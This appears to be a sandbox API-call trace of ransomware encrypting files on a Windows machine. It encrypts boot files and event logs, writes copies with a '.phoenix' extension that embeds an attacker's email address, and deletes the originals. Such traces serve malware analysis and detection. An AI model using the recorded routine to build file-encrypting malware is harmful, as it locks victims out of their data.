	[0219.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.521] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.521] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=42328) returned 1
	[0219.521] CloseHandle (hObject=0x2c0) returned 1
	[0219.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20
	[0219.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.521] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.521] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=63840) returned 1
	[0219.521] CloseHandle (hObject=0x2c0) returned 1
	[0219.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20
	[0219.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.522] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.522] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.522] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.522] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=42392) returned 1
	[0219.522] CloseHandle (hObject=0x2c0) returned 1
	[0219.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20
	[0219.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.522] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.522] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.522] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.523] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=395226) returned 1
	[0219.523] CloseHandle (hObject=0x2c0) returned 1
	[0219.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27
	[0219.523] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0219.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootmgr.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.523] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.523] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0
	[0219.524] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.524] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.524] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1) returned 1
	[0219.524] CloseHandle (hObject=0x2c0) returned 1
	[0219.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26
	[0219.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootnxt.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.524] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.525] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0219.525] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0219.525] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\bootnxt.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0219.539] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1393e0) returned 1
	[0219.539] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0219.539] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1, lpOverlapped=0x0) returned 1
	[0219.573] CryptEncrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10, dwBufLen=0x10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x10) returned 1
	[0219.573] WriteFile (in: hFile=0x2cc, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x10, lpOverlapped=0x0) returned 1
	[0219.574] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x138de0) returned 1
	[0219.574] CryptSetKeyParam (hKey=0x138de0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0219.574] CryptEncrypt (in: hKey=0x138de0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30, dwBufLen=0x30 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x30) returned 1
	[0219.574] CryptDestroyKey (hKey=0x138de0) returned 1
	[0219.575] WriteFile (in: hFile=0x2cc, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xe2, lpOverlapped=0x0) returned 1
	[0219.575] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0219.575] CloseHandle (hObject=0x2c0) returned 1
	[0219.575] CloseHandle (hObject=0x2cc) returned 1
	[0219.576] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1
	[0219.577] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.577] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0219.578] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0219.578] CloseHandle (hObject=0x2cc) returned 1
	[0219.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0219.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0219.578] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0219.578] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0219.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.595] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1393e0) returned 1
	[0219.595] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0219.595] ReadFile (in: hFile=0x2cc, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0219.610] CryptEncrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0219.610] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0219.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x138e20) returned 1
	[0219.613] CryptSetKeyParam (hKey=0x138e20, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0219.613] CryptEncrypt (in: hKey=0x138e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0219.613] CryptDestroyKey (hKey=0x138e20) returned 1
	[0219.613] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0219.613] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0219.613] CloseHandle (hObject=0x2cc) returned 1
	[0219.613] CloseHandle (hObject=0x2c0) returned 1
	[0219.615] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1
	[0219.617] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0219.617] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.617] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2166784) returned 1
	[0219.617] CloseHandle (hObject=0x2c0) returned 1
	[0219.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0219.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0219.618] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0219.618] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc0 | out: lpNewFilePointer=0x0) returned 1
	[0219.618] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc0 | out: lpNewFilePointer=0x0) returned 1
	[0219.618] ReadFile (in: hFile=0x2c0, lpBuffer=0x835058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfdcc, lpOverlapped=0x0 | out: lpBuffer=0x835058*, lpNumberOfBytesRead=0x2ccfdcc*=0x40000, lpOverlapped=0x0) returned 1
	[0219.641] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc0 | out: lpNewFilePointer=0x0) returned 1
	[0219.641] ReadFile (in: hFile=0x2c0, lpBuffer=0x875058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfdcc, lpOverlapped=0x0 | out: lpBuffer=0x875058*, lpNumberOfBytesRead=0x2ccfdcc*=0x40000, lpOverlapped=0x0) returned 1
	[0219.664] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc0 | out: lpNewFilePointer=0x0) returned 1
	[0219.664] ReadFile (in: hFile=0x2c0, lpBuffer=0x8b5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfdcc, lpOverlapped=0x0 | out: lpBuffer=0x8b5058*, lpNumberOfBytesRead=0x2ccfdcc*=0x40000, lpOverlapped=0x0) returned 1
	[0219.680] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfdb0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe1c | out: phKey=0x2ccfe1c*=0x151380) returned 1
	[0219.680] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0219.680] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdd0*=0xc00b0, dwBufLen=0xc00b0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdd0*=0xc00b0) returned 1
	[0219.681] CryptDestroyKey (hKey=0x151380) returned 1
	[0219.681] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf8 | out: lpNewFilePointer=0x0) returned 1
	[0219.681] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x2ccfe08, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe08*=0xc0162, lpOverlapped=0x0) returned 1
	[0219.696] SetEndOfFile (hFile=0x2c0) returned 1
	[0219.697] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc8 | out: lpNewFilePointer=0x0) returned 1
	[0219.697] WriteFile (in: hFile=0x2c0, lpBuffer=0x8f519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfdd4, lpOverlapped=0x0 | out: lpBuffer=0x8f519a*, lpNumberOfBytesWritten=0x2ccfdd4*=0x40000, lpOverlapped=0x0) returned 1
	[0219.698] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc8 | out: lpNewFilePointer=0x0) returned 1
	[0219.698] WriteFile (in: hFile=0x2c0, lpBuffer=0x8f519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfdd4, lpOverlapped=0x0 | out: lpBuffer=0x8f519a*, lpNumberOfBytesWritten=0x2ccfdd4*=0x40000, lpOverlapped=0x0) returned 1
	[0220.331] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdc8 | out: lpNewFilePointer=0x0) returned 1
	[0220.331] WriteFile (in: hFile=0x2c0, lpBuffer=0x8f519a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfdd4, lpOverlapped=0x0 | out: lpBuffer=0x8f519a*, lpNumberOfBytesWritten=0x2ccfdd4*=0x40000, lpOverlapped=0x0) returned 1
	[0220.332] CloseHandle (hObject=0x2c0) returned 1
	[0221.100] SetEvent (hEvent=0x278) returned 1
	[0221.100] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0221.100] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0221.101] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0221.101] CloseHandle (hObject=0x2c0) returned 1
	[0221.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20
	[0221.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0221.101] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0221.101] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.101] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.101] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0221.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0221.102] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0221.102] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0221.192] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0221.192] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0221.194] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0221.195] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0221.195] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0221.195] CryptDestroyKey (hKey=0x151240) returned 1
	[0221.195] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0221.195] CryptDestroyKey (hKey=0x151580) returned 1
	[0221.195] CloseHandle (hObject=0x2c0) returned 1
	[0221.195] CloseHandle (hObject=0x2f0) returned 1
	[0221.197] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1
	[0221.199] SetEvent (hEvent=0x278) returned 1
	[0221.199] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0221.199] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0221.199] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0221.199] CloseHandle (hObject=0x2f0) returned 1
	[0221.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20
	[0221.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
